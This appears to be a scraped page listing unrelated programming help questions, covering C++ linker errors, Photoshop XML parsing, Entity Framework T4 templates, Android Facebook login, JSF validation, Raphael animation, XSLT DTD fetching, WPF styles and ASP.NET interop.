    i use the netbeans with MinGW and MYSY make /debugger but when i compile a basic cpp code in it and run it it produces two erorrs this is the code runned and the output![alt text][1] box #include <iostream> void main() { cout << "Hello World!" << endl; cout << "Welcome to C++ Programming" << endl; } output is /usr/bin/make -f nbproject/Makefile-Debug.mk SUBPROJECTS= .build-conf make[1]: Entering directory `/d/Users/Home/Documents/NetBeansProjects/newApp' /usr/bin/make -f nbproject/Makefile-Debug.mk dist/Debug/MinGW-Windows/newapp.exe make[2]: Entering directory `/d/Users/Home/Documents/NetBeansProjects/newApp' mkdir -p dist/Debug/MinGW-Windows g++.exe -o dist/Debug/MinGW-Windows/newapp build/Debug/MinGW-Windows/newmain.o build/Debug/MinGW-Windows/newfile.o build/Debug/MinGW-Windows/main.o build/Debug/MinGW-Windows/newfile.o: In function `main': D:/Users/Home/Documents/NetBeansProjects/newApp/newfile.cpp:5: multiple definition of `main' build/Debug/MinGW-Windows/newmain.o:D:/Users/Home/Documents/NetBeansProjects/newApp/newmain.c:15: first defined here build/Debug/MinGW-Windows/main.o: In function `main': D:/Users/Home/Documents/NetBeansProjects/newApp/main.cpp:13: multiple definition of `main' build/Debug/MinGW-Windows/newmain.o:D:/Users/Home/Documents/NetBeansProjects/newApp/newmain.c:15: first defined here collect2: ld returned 1 exit status make[2]: *** [dist/Debug/MinGW-Windows/newapp.exe] Error 1 make[2]: Leaving directory `/d/Users/Home/Documents/NetBeansProjects/newApp' make[1]: *** [.build-conf] Error 2 make[1]: Leaving directory `/d/Users/Home/Documents/NetBeansProjects/newApp' make: *** [.build-impl] Error 2 BUILD FAILED (exit value 2, total time: 1s) how can i solve this ?

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  • Can anyone provide sample source code for xml parsing using photoshop javascript?

    - by panofish
    Here is a sample of a simple xml file I want to parse using photoshop javascript: <Pgen> <renderSettings> <imageWidth>1000</imageWidth> <imageHeight>600</imageHeight> <SAA>16</SAA> <bgColor>E1E1E1</bgColor> <filePrefix></filePrefix> <suffix>.jpg</suffix> </renderSettings> <coverPage> <template>//TEMPLATE/Product.psd</template> <title>2010 Mazda</title> <subtitle>Exterior</subtitle> <date>March 26, 2010</date> </coverPage> <images> <template>/TEMPLATE/Product2.psd</template> <image file="file1.png" title="2010 Mazda" subtitle="LS" note="" exclude="yes"/> <image file="file2.png" title="2010 Mazda" subtitle="1LT" note="Shows SS trim" exclude="no"/> <image file="file3.png" title="2010 Mazda" subtitle="2LT" note="" /> <image file="file4.png" title="2010 Mazda" subtitle="2LT" note="" /> </images> </Pgen> I've found the toolkit documentation, but it doesn't have much sample code and I can't find any sample code by searching google.

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  • Using T4 templates to add custom code to EF4 generated entities?

    - by David Veeneman
    I am getting started with Entity Framework 4, using model-first development. I am building a simple WPF demo app to learn the framework. My app has two entities, Topic and Note. A Topic is a discussion topic; it has Title, Text, and DateRevised properties. Topic also has a Notes collection property. a Note has DateCreated and Text properties. I have used EF4 to create an EDM and data store for the app. Now I need to add just a bit of intelligence to the entities. For example, the property setter for the Topic.Text property needs to update the Topic.DateRevised property, and a Note needs to set its DateCreated property when it is instantiated--pretty simple stuff. I assume that I can't modify the generated classes directly, because my code would be lost if the entities are re-generated. Is this the sort of thing that I can implement by modifying the T4 template that EF4 uses to generate the entities? In other words, can a T4 template be modified to add my code for performing these tasks to the entities that it generates? Can you refer me to a good tutorial or explanation of how to get started? Most of what I have found so far talks about how to add a tt file to an EDM, so I can do that. What I am looking for is a resource that I can use to get to the next level, assuming that a T4 template can be used to customize generated entities as I have described. Thanks for your help.

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  • Hello i am using the android code to connect facebook but getting "Facebook Server Error + 104 - Inc

    - by Shalini Singh
    Hello i am using the android code to connect facebook but getting "Facebook Server Error + 104 - Incorrect signature" exception at the place of onLoginSuccess function. code is given bellow .... public class FacebookConnection extends Activity implements LoginListener { private FBRocket fbRocket; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); // You need to put in your Facebook API key here: fbRocket = new FBRocket(this, "test", "e2c8deda78b007466c54f48e6359e02e"); // Determine whether there exists a previously-saved Facebook: if (fbRocket.existsSavedFacebook()) { String str =fbRocket.getAPIKey(); Log.e("Api key", str); fbRocket.loadFacebook(); } else { fbRocket.login(R.layout.main); String str =fbRocket.getAPIKey(); Log.e("Api key", str); } } public void onLoginFail() { fbRocket.displayToast("Login failed!"); fbRocket.login(R.layout.main); } public void onLoginSuccess(Facebook facebook) { fbRocket.displayToast("Login success!******************"); // Set the logged-in user's status: try { facebook.setStatus("I am using Facebook -- it's great!"); String uid = facebook.getFriendUIDs().get(0); // Just get the uid of the first friend returned... fbRocket.displayDialog("Friend's name: " + facebook.getFriend(uid).name); // ... and retrieve this friend's name. } catch (ServerErrorException e) { // Check if the exception was caused by not being logged-in: if (e.notLoggedIn()) { // ...if it was, then login again: fbRocket.login(R.layout.main); } else { System.out.println(e); e.printStackTrace(); } } }

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  • JSF 2.0: Validate equality of 2 InputSecret Fields (confirm password) without writing Code?

    - by yournamehere
    I'm developing a pure JavaEE6 application with JSF 2.0 and Glassfish. My JSF implementation is Primefaces (beside Mojarra provided by Glassfish). I want to verify if the values of 2 password fields in a JSF form are equal. With Seam, there is the neat component <s:validateEquality for="pw1"/>. I want do to the same without Seam, just using JSF (or maybe a component of a JSF library). Until now i only saw examples which validate the form with a custom validator. But i would like to compare the fields without writing Java code or Javascript code. Is that possible? This what it looks like with Seam: ... <h:inputSecret id="passwort" value="#{personHome.instance.password}" redisplay="true" required="true"> <f:validateLength minimum="8"/> <a:support event="onblur" reRender="passwortField" bypassUpdates="true" ajaxSingle="true" /> </h:inputSecret> ... <h:inputSecret id="passwort2" required="true" redisplay="true"> <!-- find the JSF2.0-equivalent to this tag: --> <s:validateEquality for="passwort"/> <a:support event="onblur" reRender="passwort2Field" bypassUpdates="true" ajaxSingle="true" /> </h:inputSecret> ... Any help is appreciated. Thanks!

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  • Why does Raphael's framerate slow down on this code?

    - by Bob
    So I'm just doing a basic orbit simulator using Raphael JS, where I draw one circle as the "star" and another circle as the "planet". It seems to be working just fine, with the one snag that as the simulation continues, its framerate progressively slows down until the orbital motion no longer appears fluid. Here's the code (note: uses jQuery only to initialize the page): $(function() { var paper = Raphael(document.getElementById('canvas'), 640, 480); var star = paper.circle(320, 240, 10); var planet = paper.circle(320, 150, 5); var starVelocity = [0,0]; var planetVelocity = [20.42,0]; var starMass = 3.08e22; var planetMass = 3.303e26; var gravConstant = 1.034e-18; function calculateOrbit() { var accx = 0; var accy = 0; accx = (gravConstant * starMass * ((star.attr('cx') - planet.attr('cx')))) / (Math.pow(circleDistance(), 3)); accy = (gravConstant * starMass * ((star.attr('cy') - planet.attr('cy')))) / (Math.pow(circleDistance(), 3)); planetVelocity[0] += accx; planetVelocity[1] += accy; planet.animate({cx: planet.attr('cx') + planetVelocity[0], cy: planet.attr('cy') + planetVelocity[1]}, 150, calculateOrbit); paper.circle(planet.attr('cx'), planet.attr('cy'), 1); // added to 'trace' orbit } function circleDistance() { return (Math.sqrt(Math.pow(star.attr('cx') - planet.attr('cx'), 2) + Math.pow(star.attr('cy') - planet.attr('cy'), 2))); } calculateOrbit(); }); It doesn't appear, to me anyway, that any part of that code would cause the animation to gradually slow down to a crawl, so any help solving the problem will be appreciated!

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  • java.io.IOException: Server returned HTTP response code: 503 for URL: http://www.w3.org/TR/xhtml1/DT

    - by JBristow
    In the following code: private Document transformDoc(Source source) throws TransformerException, IOException { TransformerFactory factory = TransformerFactory.newInstance(); Transformer transformer = factory.newTransformer(new StreamSource(xsltResource.getInputStream())); JDOMResult result = new JDOMResult(); transformer.transform(source, result); return result.getDocument(); } I get this exception: java.io.IOException: Server returned HTTP response code: 503 for URL: http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd The XHTML I'm translating over via xsl is: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> <title>Terms and Conditions</title> </head> <body> <div>Test Content</div> </body> </html> How do I stop the xalan transformer from phoning home?

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  • Can I add round cornres to HtmlPanelGrid in code or in page? If yes - how?

    - by Elena
    Hi all! I have a task - add round corners to HtmlPanelGrid. Now I am trying to do it with css (using 4 images for each corner - that css create our designer). I load css and try to do this in my code: this.grid = new HtmlPanelGrid(); this.grid.setStyleClass("toplist,toplist-top"); But no changes I could see in my page. I tried to load css and use it with tags, but it also didnt work and created one more problem - my jsf didn't reload and redisplay: <div class="toplist"> <div class="toplist-top"><h2>Top 10 List</h2></div> <div class="toplist-bg"> <div class="toplist-cont"> <rich:tab label="Top-List" id="screenTop"> <h:panelGrid id="topListTable" binding="#{chartBean.topListTable}" /> </rich:tab> <a4j:support event="onclick" reRender="menuSection" actionListener="#{chartBean.doChangeTab}" /> </div> </div> <div class="toplist-bottom"></div> </div> I am interesting of adding round corners to topListTable in the code. How can I do it? I load my css as: <link href="#{facesContext.externalContext.requestContextPath}/css/stylesheet.css" rel="styleSheet" type="text/css"/> If anybody knows, how can I add corners to the panelGrid. Sorry for stupid question, but I am newborn in jsf and richfaces, and I want to solve this task right Thanks!

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  • WPF: How do I get a reference to a styled window control in code behind?

    - by Brad
    I have a window defined with a style: <Window x:Class="winBorderless" x:Name="winBorderless" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:Local="clr-namespace:WindowStyle" Style="{StaticResource Window_Cartesia}" WindowStartupLocation="CenterScreen" BorderThickness="1" BorderBrush="#FF9CAAC1" Margin="5" Title="[Document Title]"> and the style defined in an application level dictionary: <Style x:Key="Window_Cartesia" TargetType="{x:Type Window}"> <Setter Property="WindowStyle" Value="None"/> <Setter Property="AllowsTransparency" Value="True"/> <Setter Property="Background" Value="Transparent"/> <EventSetter Event="Loaded" Handler="Loaded"/> <EventSetter Event="PreviewKeyDown" Handler="Preview_KeyDown"/> <EventSetter Event="MouseMove" Handler="FullScreen_MouseMove"/> <Setter Property="Template"> In code behind I have a reference to the Window instance set: Win = DirectCast(sender, winBorderless) This allows access to the window properties as the EventSetters pass references to the various controls. However, it doesn't provide for access to the controls defined in the style through the window reference as they don't exist there. So, what is the best way to reference a control through code behind that is defined in the style. I'd prefer not to iterate the trees to find them but ya gotta do....

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  • How do i transfer this unmanaged code from asp to asp.net 2/mvc?

    - by melaos
    hi guys, i'm a newbie to ASP.net interop features, so what i have right here is some unmanaged dll that i need to call from my asp.net mvc app. the dll name is CTSerialNumChecksum.dll set CheckSumObj = Server.CreateObject("CTSerialNumChecksum.CRC32API") validSno = CheckSumObj.ValidateSerialNumber(no) i know it's unmanaged because when i try to add reference to the dll it doesn't work. i try to follow some tutorials on interop and marshalling but thus far i wasn't able to get the code to work. i'm trying to wrap the object into another static class and just let the rest of the app to call the code. using System; using System.Runtime.InteropServices; namespace OnlineRegisteration.Models { public static class SerialNumberChecksum { [DllImport("CTSerialNumChecksum")] public static extern int ValidateSerialNumber(string serialNo); } } Questions: How do i write the class? And what tool can i use to identify what type of dll a particular file is, i.e. unmanaged c++, etc? Also i intend to make use jquery to do ajax call later so i can use this to validate my form pre-submission. Is there a better way to handle this?

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